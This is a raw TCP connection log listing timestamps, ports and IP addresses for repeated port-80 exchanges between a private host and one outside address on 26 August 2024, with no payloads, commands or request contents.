Aug 26, 2024 20:17:09.078526020 CEST	49780	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:09.078629971 CEST	49780	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:09.084003925 CEST	80	49780	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:09.121973038 CEST	80	49779	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:09.194648981 CEST	49781	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:09.199630976 CEST	80	49781	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:09.201052904 CEST	49781	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:09.201227903 CEST	49781	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:09.207298994 CEST	80	49781	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:09.299221039 CEST	80	49779	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:09.301383972 CEST	49779	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:09.430752993 CEST	49780	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:09.558331013 CEST	49781	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:09.602402925 CEST	49781	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:09.743026018 CEST	49780	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:09.914922953 CEST	49781	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:10.352463961 CEST	49780	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:10.524291039 CEST	49781	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:10.688783884 CEST	80	49780	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:10.688852072 CEST	80	49781	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:10.688862085 CEST	80	49780	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:10.688945055 CEST	80	49781	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:10.688977957 CEST	80	49780	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:10.689052105 CEST	49781	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:10.689054966 CEST	49780	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:10.689254045 CEST	80	49781	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:10.689280033 CEST	49780	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:10.689286947 CEST	49781	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:10.689975023 CEST	80	49780	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:10.693111897 CEST	49780	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:10.922620058 CEST	80	49780	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:10.923021078 CEST	49780	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:10.923444986 CEST	80	49781	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:10.923492908 CEST	49781	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:10.927500010 CEST	80	49780	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:10.929130077 CEST	80	49781	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:10.929214001 CEST	49781	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:10.931840897 CEST	80	49781	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:10.933507919 CEST	80	49781	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:10.933526039 CEST	80	49781	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:10.945924997 CEST	80	49780	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:10.945938110 CEST	80	49781	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:10.945964098 CEST	80	49780	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:10.945974112 CEST	80	49781	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:10.947060108 CEST	80	49781	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:10.947069883 CEST	80	49780	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:10.947954893 CEST	80	49780	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:10.947968960 CEST	80	49781	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:10.947977066 CEST	80	49781	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:11.332545042 CEST	80	49780	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:11.374286890 CEST	80	49781	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:11.383668900 CEST	49780	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:11.414920092 CEST	49781	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:11.491982937 CEST	49776	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:11.498339891 CEST	49780	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:11.498625040 CEST	49781	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:11.499243975 CEST	49782	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:11.504968882 CEST	80	49782	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:11.505050898 CEST	49782	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:11.505227089 CEST	49782	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:11.505542040 CEST	80	49780	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:11.505594969 CEST	49780	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:11.505616903 CEST	80	49781	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:11.505662918 CEST	49781	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:11.510207891 CEST	80	49782	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:11.852607012 CEST	49782	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:11.857530117 CEST	80	49782	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:11.857559919 CEST	80	49782	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:11.857569933 CEST	80	49782	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:12.488671064 CEST	80	49782	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:12.489090919 CEST	80	49782	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:12.489103079 CEST	80	49782	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:12.489146948 CEST	49782	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:12.615576029 CEST	49782	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:12.616317034 CEST	49783	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:12.620832920 CEST	80	49782	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:12.621134043 CEST	80	49783	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:12.621212959 CEST	49782	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:12.621246099 CEST	49783	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:12.621382952 CEST	49783	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:12.626087904 CEST	80	49783	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:12.977691889 CEST	49783	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:12.982942104 CEST	80	49783	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:12.982963085 CEST	80	49783	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:12.982979059 CEST	80	49783	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:13.324666023 CEST	80	49783	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:13.377079964 CEST	49783	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:13.456343889 CEST	80	49783	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:13.508662939 CEST	49783	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:13.890017986 CEST	49784	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:14.899295092 CEST	49784	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:15.015463114 CEST	80	49784	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:15.015566111 CEST	49784	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:15.015746117 CEST	49784	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:15.023781061 CEST	80	49784	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:15.023827076 CEST	49784	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:15.023879051 CEST	80	49784	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:15.368192911 CEST	49784	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:15.373307943 CEST	80	49784	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:15.373333931 CEST	80	49784	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:15.373343945 CEST	80	49784	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:15.702492952 CEST	80	49784	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:15.743098974 CEST	49784	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:15.847645044 CEST	80	49784	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:15.899342060 CEST	49784	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:15.987319946 CEST	49784	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:15.987592936 CEST	49785	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:15.992589951 CEST	80	49784	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:15.992667913 CEST	49784	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:15.992687941 CEST	80	49785	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:15.992749929 CEST	49785	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:15.992826939 CEST	49785	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:15.999069929 CEST	80	49785	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:16.338409901 CEST	49785	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:16.343333006 CEST	80	49785	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:16.343355894 CEST	80	49785	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:16.343367100 CEST	80	49785	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:16.438242912 CEST	49785	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:16.441966057 CEST	49786	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:16.660885096 CEST	80	49786	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:16.661063910 CEST	49786	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:16.664874077 CEST	49786	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:16.667257071 CEST	80	49785	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:16.667329073 CEST	49785	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:16.667821884 CEST	80	49785	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:16.667881012 CEST	49785	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:16.669703960 CEST	80	49786	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:16.826431036 CEST	49787	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:16.831381083 CEST	80	49787	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:16.831451893 CEST	49787	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:16.831568003 CEST	49787	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:16.836524010 CEST	80	49787	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:17.107074976 CEST	49786	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:17.112271070 CEST	80	49786	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:17.112302065 CEST	80	49786	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:17.208566904 CEST	49787	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:17.213655949 CEST	80	49787	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:17.213684082 CEST	80	49787	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:17.213695049 CEST	80	49787	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:17.351210117 CEST	80	49786	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:17.399281979 CEST	49786	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:17.482300997 CEST	80	49786	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:17.504158020 CEST	80	49787	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:17.524290085 CEST	49786	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:17.555516005 CEST	49787	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:17.874667883 CEST	80	49787	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:17.911681890 CEST	80	49787	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:17.911746979 CEST	49787	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:17.999325991 CEST	49786	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:17.999479055 CEST	49787	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:18.003990889 CEST	49788	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:18.162192106 CEST	80	49788	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:18.162205935 CEST	80	49786	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:18.162216902 CEST	80	49787	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:18.162290096 CEST	49786	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:18.162326097 CEST	49787	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:18.162328959 CEST	49788	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:18.162555933 CEST	49788	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:18.167666912 CEST	80	49788	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:18.508914948 CEST	49788	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:18.513930082 CEST	80	49788	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:18.513945103 CEST	80	49788	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:18.513953924 CEST	80	49788	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:18.860465050 CEST	80	49788	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:18.915112972 CEST	49788	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:19.079174995 CEST	80	49788	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:19.137156010 CEST	49788	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:19.227880001 CEST	49788	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:19.228631020 CEST	49789	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:19.232984066 CEST	80	49788	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:19.233123064 CEST	49788	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:19.233470917 CEST	80	49789	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:19.233529091 CEST	49789	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:19.233638048 CEST	49789	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:19.238346100 CEST	80	49789	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:19.587129116 CEST	49789	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:19.594780922 CEST	80	49789	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:19.594794989 CEST	80	49789	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:19.594803095 CEST	80	49789	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:19.929886103 CEST	80	49789	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:19.977397919 CEST	49789	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:20.129633904 CEST	80	49789	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:20.180543900 CEST	49789	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:20.256397963 CEST	49789	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:20.257189989 CEST	49790	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:20.261538029 CEST	80	49789	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:20.261599064 CEST	49789	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:20.262135983 CEST	80	49790	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:20.262200117 CEST	49790	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:20.262352943 CEST	49790	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:20.267499924 CEST	80	49790	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:20.618170023 CEST	49790	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:20.623207092 CEST	80	49790	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:20.623264074 CEST	80	49790	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:20.623275042 CEST	80	49790	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:20.936378956 CEST	80	49790	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:20.977447987 CEST	49790	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:21.132572889 CEST	80	49790	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:21.180547953 CEST	49790	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:21.256129026 CEST	49791	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:21.261122942 CEST	80	49791	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:21.261250019 CEST	49791	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:21.261370897 CEST	49791	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:21.266184092 CEST	80	49791	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:21.618417025 CEST	49791	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:21.664947033 CEST	49791	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:21.822369099 CEST	80	49791	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:21.822762966 CEST	80	49791	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:21.822777987 CEST	80	49791	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:21.822783947 CEST	80	49791	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:21.944935083 CEST	80	49791	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:21.993113041 CEST	49791	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:22.118376970 CEST	80	49791	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:22.172838926 CEST	49791	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:22.350452900 CEST	49791	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:22.350631952 CEST	49792	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:22.355762959 CEST	80	49792	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:22.355865955 CEST	49792	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:22.355901003 CEST	80	49791	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:22.355943918 CEST	49791	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:22.355982065 CEST	49792	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:22.361174107 CEST	80	49792	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:22.494395018 CEST	49792	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:22.494622946 CEST	49793	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:22.499413013 CEST	80	49793	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:22.499514103 CEST	49793	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:22.499589920 CEST	49793	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:22.504532099 CEST	80	49793	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:22.541737080 CEST	80	49792	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:22.621975899 CEST	49794	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:22.627741098 CEST	80	49794	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:22.627839088 CEST	49794	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:22.627903938 CEST	49794	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:22.633310080 CEST	80	49794	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:22.830487013 CEST	80	49792	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:22.830574989 CEST	49792	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:22.852513075 CEST	49793	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:22.857563019 CEST	80	49793	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:22.857573986 CEST	80	49793	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:22.977803946 CEST	49794	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:22.983458042 CEST	80	49794	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:22.983499050 CEST	80	49794	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:22.983508110 CEST	80	49794	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:23.219971895 CEST	80	49793	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:23.274332047 CEST	49793	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:23.326246023 CEST	80	49794	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:23.368036985 CEST	49794	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:23.414726973 CEST	80	49793	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:23.461899996 CEST	49793	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:23.530728102 CEST	80	49794	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:23.571258068 CEST	49794	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:23.642245054 CEST	49790	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:23.647432089 CEST	49793	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:23.647587061 CEST	49794	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:23.648262978 CEST	49795	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:23.655833006 CEST	80	49795	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:23.659054995 CEST	49795	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:23.659291983 CEST	49795	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:23.664614916 CEST	80	49795	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:23.669238091 CEST	80	49793	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:23.669373989 CEST	80	49794	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:23.669439077 CEST	49793	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:23.669456005 CEST	49794	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:24.008753061 CEST	49795	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:24.018286943 CEST	80	49795	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:24.018299103 CEST	80	49795	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:24.018306017 CEST	80	49795	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:24.359627008 CEST	80	49795	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:24.415096045 CEST	49795	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:24.498284101 CEST	80	49795	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:24.539911032 CEST	49795	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:25.279747963 CEST	49796	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:25.287435055 CEST	80	49796	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:25.287499905 CEST	49796	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:25.287919044 CEST	49796	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:25.292836905 CEST	80	49796	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:25.651839972 CEST	49796	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:25.656774044 CEST	80	49796	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:25.656928062 CEST	80	49796	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:25.656971931 CEST	80	49796	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:25.958468914 CEST	80	49796	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:26.008651018 CEST	49796	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:26.089359045 CEST	80	49796	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:26.133729935 CEST	49796	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:26.212826014 CEST	49796	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:26.213126898 CEST	49797	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:26.218288898 CEST	80	49796	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:26.218336105 CEST	49796	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:26.218437910 CEST	80	49797	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:26.218492985 CEST	49797	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:26.218605042 CEST	49797	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:26.224448919 CEST	80	49797	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:26.571294069 CEST	49797	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:26.576414108 CEST	80	49797	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:26.576426029 CEST	80	49797	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:26.576433897 CEST	80	49797	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:26.923962116 CEST	80	49797	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:26.977449894 CEST	49797	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:27.054831028 CEST	80	49797	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:27.102453947 CEST	49797	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:27.277333021 CEST	49783	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:27.277549028 CEST	49756	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:27.277606964 CEST	49795	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:27.277645111 CEST	49761	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:27.281919956 CEST	49797	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:27.281919956 CEST	49798	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:27.287168980 CEST	80	49798	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:27.287184000 CEST	80	49797	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:27.287256002 CEST	49798	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:27.287256002 CEST	49797	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:27.287429094 CEST	49798	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:27.292407036 CEST	80	49798	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:27.666753054 CEST	49798	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:27.671817064 CEST	80	49798	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:27.671830893 CEST	80	49798	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:27.672238111 CEST	80	49798	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:27.974777937 CEST	80	49798	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:28.024501085 CEST	49798	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:28.173783064 CEST	80	49798	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:28.227420092 CEST	49798	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:28.302788019 CEST	49798	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:28.303153992 CEST	49799	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:28.308327913 CEST	80	49798	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:28.308345079 CEST	80	49799	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:28.308423996 CEST	49798	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:28.308458090 CEST	49799	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:28.352363110 CEST	49799	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:28.357218981 CEST	80	49799	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:28.432642937 CEST	49800	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:28.432730913 CEST	49799	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:28.437645912 CEST	80	49800	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:28.437743902 CEST	49800	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:28.437875032 CEST	49800	80	192.168.2.4	80.211.144.156
